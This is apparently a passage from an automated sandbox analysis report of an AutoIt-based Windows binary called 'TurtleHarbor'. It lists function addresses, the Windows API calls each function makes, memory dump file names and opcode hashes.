                                            • SendMessageW.USER32(?,000000B0,?,?), ref: 00369719
                                            • SendMessageW.USER32(?,000000C9,?,00000000), ref: 0036972B
                                            • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00369741
                                            • SendMessageW.USER32(?,000000C9,?,00000000), ref: 0036975C
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: MessageSend
                                            • String ID:
                                            • API String ID: 3850602802-0
                                            • Opcode ID: 56a52f725a77faf3579b6032cb531bf42ed00aa81290b75f34bb9154573a3597
                                            • Instruction ID: 241f249a3698409166aaa16febb55365f261a7ac57ae532c811d1d3f04e5e45c
                                            • Opcode Fuzzy Hash: 56a52f725a77faf3579b6032cb531bf42ed00aa81290b75f34bb9154573a3597
                                            • Instruction Fuzzy Hash: BF115A39900218FFEB11DF95CD84F9DBBB8FB48710F204092E900B7294D6716E10DB90
                                            Function 00312111 Relevance: 6.1, APIs: 4, Instructions: 53windowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 0031214F
                                            • GetStockObject.GDI32(00000011), ref: 00312163
                                            • SendMessageW.USER32(00000000,00000030,00000000), ref: 0031216D
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: CreateMessageObjectSendStockWindow
                                            • String ID:
                                            • API String ID: 3970641297-0
                                            • Opcode ID: 98b4e15483e737adb877cd25695f260e9de9a2a3f0176e83a154e5a20606146d
                                            • Instruction ID: 57bc094d14b0b25ca8f578d3b74bd73d8884739976847e3252582dde8fabf23b
                                            • Opcode Fuzzy Hash: 98b4e15483e737adb877cd25695f260e9de9a2a3f0176e83a154e5a20606146d
                                            • Instruction Fuzzy Hash: 88115B72501649BFDB1B8F90DC85EEBBB6DEF5D354F050126FA0456120D731DCA0ABA0
                                            Function 00371941 Relevance: 6.1, APIs: 4, Instructions: 51sleepCOMMON
                                            Download Yara Rule
                                            APIs
                                            • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,003704EC,?,0037153F,?,00008000), ref: 0037195E
                                            • Sleep.KERNEL32(00000000,?,?,?,?,?,?,003704EC,?,0037153F,?,00008000), ref: 00371983
                                            • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,003704EC,?,0037153F,?,00008000), ref: 0037198D
                                            • Sleep.KERNEL32(?,?,?,?,?,?,?,003704EC,?,0037153F,?,00008000), ref: 003719C0
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: CounterPerformanceQuerySleep
                                            • String ID:
                                            • API String ID: 2875609808-0
                                            • Opcode ID: 390f8066bcc5bc74e36d054b0816dc1d84b502b3b93e6877fe28cb5bab21d917
                                            • Instruction ID: e03bf0d25f0fc0fdecf2284cc125f9ee2e200234e999943538420e805518bb6d
                                            • Opcode Fuzzy Hash: 390f8066bcc5bc74e36d054b0816dc1d84b502b3b93e6877fe28cb5bab21d917
                                            • Instruction Fuzzy Hash: CE117C32D0051CDBCF269FA8D998AEEBBB8FF0B701F018045EA84B6240CB3496518BD1
                                            Function 0039E1CE Relevance: 6.0, APIs: 4, Instructions: 50registryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetModuleFileNameW.KERNEL32(?,?,00000104,00000000,00000000), ref: 0039E1EA
                                            • LoadTypeLibEx.OLEAUT32(?,00000002,0000000C), ref: 0039E201
                                            • RegisterTypeLib.OLEAUT32(0000000C,?,00000000), ref: 0039E216
                                            • RegisterTypeLibForUser.OLEAUT32(0000000C,?,00000000), ref: 0039E234
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Type$Register$FileLoadModuleNameUser
                                            • String ID:
                                            • API String ID: 1352324309-0
                                            • Opcode ID: 138825ed597a049eb5cfcb84a5656cca233e3f77c45e841dfec1b8c6ee5f0f06
                                            • Instruction ID: 848ceb4357a27b9d62f46d1fbf791d7e991b5fd6ff39adfa595c0d06adf5663b
                                            • Opcode Fuzzy Hash: 138825ed597a049eb5cfcb84a5656cca233e3f77c45e841dfec1b8c6ee5f0f06
                                            • Instruction Fuzzy Hash: 931161B5205304DBEB31EF51DD08F93BBBCEB04B00F10895AA6A6D6550D7B0F904DBA1
                                            Function 003471E7 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: __cftoe_l__cftof_l__cftog_l__fltout2
                                            • String ID:
                                            • API String ID: 3016257755-0
                                            • Opcode ID: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
                                            • Instruction ID: 09cd8bbd71906db4dfc03d1eed1a56d0314eb3e09c3026d2cbfc8ca11cb3fec7
                                            • Opcode Fuzzy Hash: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
                                            • Instruction Fuzzy Hash: 8F019E3204814EBBCF135E84CC01CEE3FA6BB19344B498915FA186C131C376E9B1EB81
                                            Function 0039B937 Relevance: 6.0, APIs: 4, Instructions: 47COMMON
                                            Download Yara Rule
                                            APIs
                                            • GetWindowRect.USER32(?,?), ref: 0039B956
                                            • ScreenToClient.USER32(?,?), ref: 0039B96E
                                            • ScreenToClient.USER32(?,?), ref: 0039B992
                                            • InvalidateRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 0039B9AD
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: ClientRectScreen$InvalidateWindow
                                            • String ID:
                                            • API String ID: 357397906-0
                                            • Opcode ID: 0ede17ea887a09dc6b2030cd8d99ddfd35deaf7aba30f568ba5ed606dea3aa69
                                            • Instruction ID: bce2ec0a3f3a07ac2dcab5a815066becb06c30b82480ddd7ef63ca220d13aef0
                                            • Opcode Fuzzy Hash: 0ede17ea887a09dc6b2030cd8d99ddfd35deaf7aba30f568ba5ed606dea3aa69
                                            • Instruction Fuzzy Hash: C41143B9D0020AEFDB41CF98D984AEEFBF9FB49314F104156E914E3620D735AA658F90
                                            Function 0039BCA7 Relevance: 6.0, APIs: 4, Instructions: 40processCOMMON
                                            Download Yara Rule
                                            APIs
                                            • _memset.LIBCMT ref: 0039BCB6
                                            • _memset.LIBCMT ref: 0039BCC5
                                            • CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,003D8F20,003D8F64), ref: 0039BCF4
                                            • CloseHandle.KERNEL32 ref: 0039BD06
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: _memset$CloseCreateHandleProcess
                                            • String ID:
                                            • API String ID: 3277943733-0
                                            • Opcode ID: 034724fa0363798d10f5c968e56254aa2448f6aa94a0630d315cf69fc5f1a412
                                            • Instruction ID: c528cc822e5b8bc8db2ff73c46bf1a77414d01f7974ea6e0883d2ac282398c05
                                            • Opcode Fuzzy Hash: 034724fa0363798d10f5c968e56254aa2448f6aa94a0630d315cf69fc5f1a412
                                            • Instruction Fuzzy Hash: FBF082B65413047FE7522B65BC46FBB3B5DEB09750F004422BA08D91A2DB756D1087A8
                                            Function 00377195 Relevance: 6.0, APIs: 4, Instructions: 33COMMON
                                            Download Yara Rule
                                            APIs
                                            • EnterCriticalSection.KERNEL32(?), ref: 003771A1
                                              • Part of subcall function 00377C7F: _memset.LIBCMT ref: 00377CB4
                                            • _memmove.LIBCMT ref: 003771C4
                                            • _memset.LIBCMT ref: 003771D1
                                            • LeaveCriticalSection.KERNEL32(?), ref: 003771E1
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: CriticalSection_memset$EnterLeave_memmove
                                            • String ID:
                                            • API String ID: 48991266-0
                                            • Opcode ID: ae5232caac43a20fba1b14b5f405272897732cb9778b742fc6346b99dbc06185
                                            • Instruction ID: bb79a56aaebccff73deb2d2afe2e83635dec688e3fa22a81472986808e4376b7
                                            • Opcode Fuzzy Hash: ae5232caac43a20fba1b14b5f405272897732cb9778b742fc6346b99dbc06185
                                            • Instruction Fuzzy Hash: FDF05E7A200100ABCF166F55DCC9B8ABB29EF49320F08C055FE085E22ACB35E911DBB4
                                            Function 0039C3C4 Relevance: 6.0, APIs: 4, Instructions: 31COMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 003116CF: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00311729
                                              • Part of subcall function 003116CF: SelectObject.GDI32(?,00000000), ref: 00311738
                                              • Part of subcall function 003116CF: BeginPath.GDI32(?), ref: 0031174F
                                              • Part of subcall function 003116CF: SelectObject.GDI32(?,00000000), ref: 00311778
                                            • MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 0039C3E8
                                            • LineTo.GDI32(00000000,?,?), ref: 0039C3F5
                                            • EndPath.GDI32(00000000), ref: 0039C405
                                            • StrokePath.GDI32(00000000), ref: 0039C413
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
                                            • String ID:
                                            • API String ID: 1539411459-0
                                            • Opcode ID: 96068a9560466cf8c4725d8d10688b87a4a909d4b6b7f15a4e0553896d2da22e
                                            • Instruction ID: 66d20a711a93976d37087078952dc210373c27f90bc962e03b080c46a825f5e8
                                            • Opcode Fuzzy Hash: 96068a9560466cf8c4725d8d10688b87a4a909d4b6b7f15a4e0553896d2da22e
                                            • Instruction Fuzzy Hash: B0F0EC32006218BBDB23AF52AC0EFCF3F5DAF0A310F048001FA11210E283B41660EFA9
                                            Function 0036AA52 Relevance: 6.0, APIs: 4, Instructions: 30threadwindowtimeCOMMON
                                            Download Yara Rule
                                            APIs
                                            • SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 0036AA6F
                                            • GetWindowThreadProcessId.USER32(?,00000000), ref: 0036AA82
                                            • GetCurrentThreadId.KERNEL32 ref: 0036AA89
                                            • AttachThreadInput.USER32(00000000), ref: 0036AA90
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
                                            • String ID:
                                            • API String ID: 2710830443-0
                                            • Opcode ID: ae4cb5bafb2f34619c6dba22ddb0aec54586db96084be7a2735c7efa72afb911
                                            • Instruction ID: d356f9b5fd6a15ff71e69e4d64140968e4ca95fadec18f9784b4976839128548
                                            • Opcode Fuzzy Hash: ae4cb5bafb2f34619c6dba22ddb0aec54586db96084be7a2735c7efa72afb911
                                            • Instruction Fuzzy Hash: 7BE0ED31545228BADB265FA2DD0DEEB7F5CEF177A2F008016F50995060C775C550CBE1
                                            Function 00369330 Relevance: 6.0, APIs: 4, Instructions: 23threadCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetCurrentThread.KERNEL32 ref: 00369339
                                            • OpenThreadToken.ADVAPI32(00000000,?,?,?,00368F04), ref: 00369340
                                            • GetCurrentProcess.KERNEL32(00000028,?,?,?,?,00368F04), ref: 0036934D
                                            • OpenProcessToken.ADVAPI32(00000000,?,?,?,00368F04), ref: 00369354
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: CurrentOpenProcessThreadToken
                                            • String ID:
                                            • API String ID: 3974789173-0
                                            • Opcode ID: a688bc1f1e28196a3b5cf4bf2da53db32627bfec50db1c7df011d05f779ff45f
                                            • Instruction ID: 47b4bebc46abf6e25241201d481666700225fe18912948706023f2a00ff604aa
                                            • Opcode Fuzzy Hash: a688bc1f1e28196a3b5cf4bf2da53db32627bfec50db1c7df011d05f779ff45f
                                            • Instruction Fuzzy Hash: B3E0863A601311AFD7665FF15D0DB573B6CFF52791F118818B245C9090E634A444C751
                                            Function 003125F4 Relevance: 6.0, APIs: 4, Instructions: 23COMMON
                                            Download Yara Rule
                                            APIs
                                            • GetSysColor.USER32(00000008), ref: 0031260D
                                            • SetTextColor.GDI32(?,000000FF), ref: 00312617
                                            • SetBkMode.GDI32(?,00000001), ref: 0031262C
                                            • GetStockObject.GDI32(00000005), ref: 00312634
                                            • GetWindowDC.USER32(?,00000000), ref: 0034C1C4
                                            • GetPixel.GDI32(00000000,00000000,00000000), ref: 0034C1D1
                                            • GetPixel.GDI32(00000000,?,00000000), ref: 0034C1EA
                                            • GetPixel.GDI32(00000000,00000000,?), ref: 0034C203
                                            • GetPixel.GDI32(00000000,?,?), ref: 0034C223
                                            • ReleaseDC.USER32(?,00000000), ref: 0034C22E
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Pixel$Color$ModeObjectReleaseStockTextWindow
                                            • String ID:
                                            • API String ID: 1946975507-0
                                            • Opcode ID: bb00e35b143fc4647ce920d19648bad0574f12bc6efab626fa32fbe02f5d1d4a
                                            • Instruction ID: e4513d55550797d5e58ed6d95d54bf47fdc1814b7b8d69794a6cfa6d9f1e0ddf
                                            • Opcode Fuzzy Hash: bb00e35b143fc4647ce920d19648bad0574f12bc6efab626fa32fbe02f5d1d4a
                                            • Instruction Fuzzy Hash: F3E06535504244BBDF6B5F74AC097D83B15EB06331F048366FA69480E187B14590DB11
                                            Function 00350679 Relevance: 6.0, APIs: 4, Instructions: 20COMMON
                                            Download Yara Rule
                                            APIs
                                            • GetDesktopWindow.USER32 ref: 00350679
                                            • GetDC.USER32(00000000), ref: 00350683
                                            • GetDeviceCaps.GDI32(00000000,0000000C), ref: 003506A3
                                            • ReleaseDC.USER32(?), ref: 003506C4
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: CapsDesktopDeviceReleaseWindow
                                            • String ID:
                                            • API String ID: 2889604237-0
                                            • Opcode ID: 8554d768b93023705c4cae2c72c5b3ac8adb71b87f1416b7326de35c5f3241a8
                                            • Instruction ID: b27c8b645d0a96aa11f13805a991101fad87185db65d31435bee7bd37a5a131b
                                            • Opcode Fuzzy Hash: 8554d768b93023705c4cae2c72c5b3ac8adb71b87f1416b7326de35c5f3241a8
                                            • Instruction Fuzzy Hash: 12E012B1800204EFCF0B9FA0D808AADBBF9EB9D315F11C409FC5AA7220CB3985919F50
                                            Function 0035068D Relevance: 6.0, APIs: 4, Instructions: 19COMMON
                                            Download Yara Rule
                                            APIs
                                            • GetDesktopWindow.USER32 ref: 0035068D
                                            • GetDC.USER32(00000000), ref: 00350697
                                            • GetDeviceCaps.GDI32(00000000,0000000C), ref: 003506A3
                                            • ReleaseDC.USER32(?), ref: 003506C4
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: CapsDesktopDeviceReleaseWindow
                                            • String ID:
                                            • API String ID: 2889604237-0
                                            • Opcode ID: 1be1b517d09a9145756cf649ba64bc142a7164da7aa6a83f4bf0f9ea956e9c3c
                                            • Instruction ID: d5c921fc88914f7a081a543368785e63125c6141f101be9c8be300bb0578bd9f
                                            • Opcode Fuzzy Hash: 1be1b517d09a9145756cf649ba64bc142a7164da7aa6a83f4bf0f9ea956e9c3c
                                            • Instruction Fuzzy Hash: 2BE012B1800204AFCF0A9FA0D808A9D7BF9EB9D314F108008F95AA7220CB3895918F50
                                            Function 0036BE8C Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 241comCOMMON
                                            Download Yara Rule
                                            APIs
                                            • OleSetContainedObject.OLE32(?,00000001), ref: 0036C057
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: ContainedObject
                                            • String ID: AutoIt3GUI$Container
                                            • API String ID: 3565006973-3941886329
                                            • Opcode ID: d974a2b9f097d81df7eabef4bbee99375172128c0e4e1acd3524e0c82cef5f4d
                                            • Instruction ID: 2e9a97986deec5e66ac749a256db5399e29deea12c184502f3ca0ec3e7a7035a
                                            • Opcode Fuzzy Hash: d974a2b9f097d81df7eabef4bbee99375172128c0e4e1acd3524e0c82cef5f4d
                                            • Instruction Fuzzy Hash: E0914574210601EFDB15CF64C884A6ABBE8FF49710F20846EF94ACF6A5DB71E841CB60
                                            Function 0037B5EF Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201shareCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 0032436A: _wcscpy.LIBCMT ref: 0032438D
                                              • Part of subcall function 00314D37: __itow.LIBCMT ref: 00314D62
                                              • Part of subcall function 00314D37: __swprintf.LIBCMT ref: 00314DAC
                                            • __wcsnicmp.LIBCMT ref: 0037B670
                                            • WNetUseConnectionW.MPR(00000000,?,?,00000000,?,?,00000100,?), ref: 0037B739
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Connection__itow__swprintf__wcsnicmp_wcscpy
                                            • String ID: LPT
                                            • API String ID: 3222508074-1350329615
                                            • Opcode ID: 8ddb787ff8d6666892319a2727a4a5721ad809624b6e945eb9fa76300e01e40a
                                            • Instruction ID: 3f00a0101b6659baa26380d5aba0e5e765dbf958e549010890becd308ddf7f92
                                            • Opcode Fuzzy Hash: 8ddb787ff8d6666892319a2727a4a5721ad809624b6e945eb9fa76300e01e40a
                                            • Instruction Fuzzy Hash: B9616075A00219EFCB2ADF54C891FAEF7B8EF48710F118059F54AAB291D774AE80CB50
                                            Function 0031E00D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON
                                            Download Yara Rule
                                            APIs
                                            • Sleep.KERNEL32(00000000), ref: 0031E01E
                                            • GlobalMemoryStatusEx.KERNEL32(?), ref: 0031E037
                                            Strings
                                            Memory Dump Source
